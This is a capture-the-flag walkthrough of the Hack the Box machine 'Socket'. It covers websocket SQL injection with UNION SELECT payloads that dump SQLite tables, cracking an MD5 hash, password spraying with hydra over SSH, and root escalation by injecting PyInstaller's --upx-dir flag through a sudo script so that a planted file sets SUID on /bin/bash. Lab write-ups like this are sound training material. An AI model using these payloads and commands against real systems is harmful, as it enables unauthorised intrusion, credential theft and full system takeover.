HTB • Socket
Socket is a medium difficulty Linux machine created by kavigihan on Hack the Box that features a website hosting compiled applications that hint to the usage of a websocket endpoint. This endpoint is actually vulnerable to SQL injection, which leads to a password hash and a name. Once the password is recovered, the name is used to generate a username wordlist which is used over SSH to find the tkeller user. This user has special sudo permissions to execute a specific vulnerable script as any user. This script is then used to execute privileged commands.
Initial Recon
We’ll first set up our environment and run a TCP port scan with this custom nmap wrapper.
1
2
3
4
5
6
# bryan@red_team (bash)
rhost="10.10.11.206" # Target IP address
lhost="10.10.14.4" # Your VPN IP address
echo rhost=$rhost >> .env
echo lhost=$lhost >> .env
. ./.env && ctfscan $rhost
The open ports reported in the scan include:
Transport | Port | Service | Product | Version |
---|---|---|---|---|
TCP | 22 | SSH | OpenSSH | 8.9p1 Ubuntu 3ubuntu0.1 |
TCP | 80 | HTTP | Apache httpd | 2.4.52 (Ubuntu) |
TCP | 5789 | WebSockets | Python/websockets | Python/3.10 websockets/10.4 |
Web
We’ll start off by investigating the HTTP server on port 80.
Content Discovery
Sending a GET request to http://10.10.11.206/ results in a redirect to http://qreader.htb/. We’ll add qreader.htb to /etc/hosts
so we can visit the intended VHOST in our browser.
1
2
3
4
# bryan@red_team (bash)
curl http://$rhost/ -I # redirected to http://qreader.htb/
curl http://$rhost/ -I -H 'Host: qreader.htb' # different response code. VHOST is valid
echo -en "$rhost\tqreader.htb" | sudo tee -a /etc/hosts
Towards the bottom of the page, there is mention of a desktop app for Windows and Linux to generate QR codes. Lets download the Linux version and see what information we can gather.
The downloaded archive is over 100 MB!
1
2
3
4
# bryan@red_team (bash)
7z l QReader_lin_v0.0.2.zip # Contains app/qreader, app/test.png
7z x QReader_lin_v0.0.2.zip # Extract files
file app/qreader # File is a dynamic stripped ELF
One explanation for the executable being so huge is that it is a product of something like PyInstaller. We’ll verify this by checking for certain strings that would indicate that this was written in Python rather than a traditional compiler language.
1
2
3
# bryan@red_team (bash)
strings -eS app/qreader | grep -Ei python # Plenty of references to python
strings -eS app/qreader | grep -Ei pyinstaller # Reference to PyInstaller!
It does seem that this was built with PyInstaller, which is good for us because we can easily decompile the program using something like pyinstxtractor.py
from python-exe-unpacker along with Decompyle++.
1
2
3
4
# bryan@red_team (bash)
pyinstxtractor app/qreader # Extract the python bytecode
ls -l qreader_extracted/*qreader* # Here's the actual program bytecode
pycdc qreader_extracted/qreader.pyc -o qreader.py # Decompile to python source
The source code has one function called version that sends the installed version to a websocket endpoint at /version
on port 5789.
WebSockets
Let’s try replicating the version message in qreader.py
using this simple websocket client.
1
2
3
4
5
6
7
8
# bryan@red_team (bash)
send() {
json=$(echo {} | jq --arg _ "$1" '.version=$_')
wscurl $rhost:5789/version -d "$json"
}
send "0.0.2" # It works!
send "0.0.1" # This returns a different response
send "_" # Got "Invalid version!"
It seems like the backend is processing the version then returning a set of values related to that particular version (if valid). There are a number of ways this could be done, but it’s likely the work of SQL queries. With this in mind, let’s try sending some SQL injection payloads that could break an insecure implementation.
1
2
3
4
# bryan@red_team (bash)
send "'" # Message: "Invalid version!"
send '"' # Blank response... Internal error?
send '0.0.2"--' # SQL Injection! (probably)
Sending a double quote results in an unexpected blank response, so we check if an SQL comment would negate this and it sure does! This is a classic indication of an SQL injection vulnerability.
SQL Injection
We’ll try extracting some database information on that injection point using a UNION SELECT statement. We can assume that the number of columns is at least three or four based on the number of JSON keys returned given a valid version.
1
2
3
4
5
# bryan@red_team (bash)
send '" UNION SELECT 1337,NULL,NULL,NULL--' # Confirmed 4 columns
send '" UNION SELECT 0,@@version,0,0--' # Error. Probably not MySQL...
send '" UNION SELECT 0,version(),0,0--' # Error. Probably not PostgreSQL...
send '" UNION SELECT 0,sqlite_version(),0,0--' # Sqlite is a match!
We are able to determine that the backend is SQLite 3.37.2. Now that we know this, we can easily extract the database schema from the sqlite_schema table.
1
2
3
# bryan@red_team (bash)
send '" UNION SELECT 0,group_concat(sql,CHAR(0xa)),0,0 FROM sqlite_schema--' | tee res.json
jq -r .message.version res.json | sed 's/$/;/' | tee schema.sql
1
2
3
4
5
6
CREATE TABLE sqlite_sequence(name,seq);
CREATE TABLE versions (id INTEGER PRIMARY KEY AUTOINCREMENT, version TEXT, released_date DATE, downloads INTEGER);
CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT);
CREATE TABLE info (id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT, value TEXT);
CREATE TABLE reports (id INTEGER PRIMARY KEY AUTOINCREMENT, reporter_name TEXT, subject TEXT, description TEXT, reported_date DATE);
CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT, answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id));
We’ll extract a few non-standard tables starting with users.
1
2
3
4
5
6
7
8
# bryan@red_team (bash)
mkdir tables
send '" UNION SELECT 0,group_concat(printf("%s|%s|%s",username,password,role),CHAR(0xa)),0,0 FROM users--' |
jq -r .message.version | tee tables/users.txt # dump users table to tables/users.txt
send '" UNION SELECT 0,group_concat(printf("%s|%s|%s|%s",reporter_name,subject,description,reported_date),CHAR(0xa)),0,0 FROM reports--' |
jq -r .message.version | tee tables/reports.txt # dump reports table to tables/reports.txt
send '" UNION SELECT 0,group_concat(printf("%s|%s|%s|%s",answered_by,answer,answered_date,status),CHAR(0xa)),0,0 FROM reports--' |
jq -r .message.version | tee tables/answers.txt # dump answers table to tables/answers.txt
The users table contains a single row with a password hash associated with the username admin. assuming that this is an MD5 hash based on the length and context, we’ll try to crack it with John the Ripper.
1
2
3
# bryan@red_team (bash)
wl=~/wordlist/rockyou.txt # use standard rockyou.txt list
john --wordlist=$wl --format=raw-md5 <(echo admin:0c090c365fa0559b151a43e0fea39710)
We successfully recover the password denjanjade122566
! If we try to login over SSH using these credentials however, authentication fails. It is likely that this password has been reused by the subject for other services so the issue might be the username. We do notice from looking at the answers table that the person managing the admin account uses the name Thomas Keller.
Hello Mike,
We have confirmed a valid problem with handling non-ascii characters. So we suggest you to stick with ascii printable characters for now!
Thomas Keller
If Thomas also has an OS account, it is likely that they use a username related to their actual name. We’ll be using username-anarchy to generate usernames from the information we have, then we’ll use thc-hydra to spray the password we found.
1
2
3
# bryan@red_team (bash)
username-anarchy Thomas Keller | tee usernames.wl
hydra -L usernames.wl -p 'denjanjade122566' ssh://$rhost
We find that the username tkeller
is valid with the password denjanjade122566
. We’ll use these credentials to login over SSH with PwnCat.
1
2
# bryan@red_team (bash)
pwncat-cs "ssh://tkeller:denjanjade122566@$rhost"
Local Privilege Escalation
We begin by running a few generic commands to explore our current context.
1
2
3
# tkeller@socket (bash)
id # Member of unusual group: shared
sudo -l # Special sudo permissions...
1 2 User tkeller may run the following commands on socket: (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
It turns out, we can run a script at /usr/local/sbin/build-installer.sh
as root. Let’s check out this script and see how we might exploit it and elevate to root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi
It looks like the purpose of this script is to build executables from python source using PyInstaller. We do notice that the script does a poor job of escaping input when passing it to the PyInstaller executable. Take this line for example:
1
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
In this line, the name variable (derived from the second argument) is passed to pyinstaller
as the first positional argument. The issue is that bash will expand the name variable making it trivial to pass additional arguments. As a harmless example, we can pass the --help
flag.
1
2
# tkeller@socket (bash)
sudo build-installer.sh make "--help x.py"
Looking at the PyInstaller documentation, we find a few flags that could allow us to perform various actions on the local filesystem.
Elevated Execution
There’s a certain flag that’s particularly interesting defined as --upx-dir
. It advertises the ability to modify the search path for the UPX executable, which could allow us to execute an arbitrary file as root. If we change the search path to a writable directory, we could plant a file named upx
which should then be executed by PyInstaller.
1
2
3
4
5
# tkeller@socket (bash)
dir=$(mktemp -d)
echo -e '#!/bin/bash\nchmod +s /bin/bash' > $dir/upx && chmod +x $dir/upx
sudo build-installer.sh make "--upx-dir=$dir $(mktemp --suffix=.py)"
ls -l `which bash`
We successfully coerce the execution of our executable, which sets the SUID bit in /bin/bash
. We gain a root shell with bash -p
, grab the root flag, then normalize the SUID bit with chmod -s /bin/bash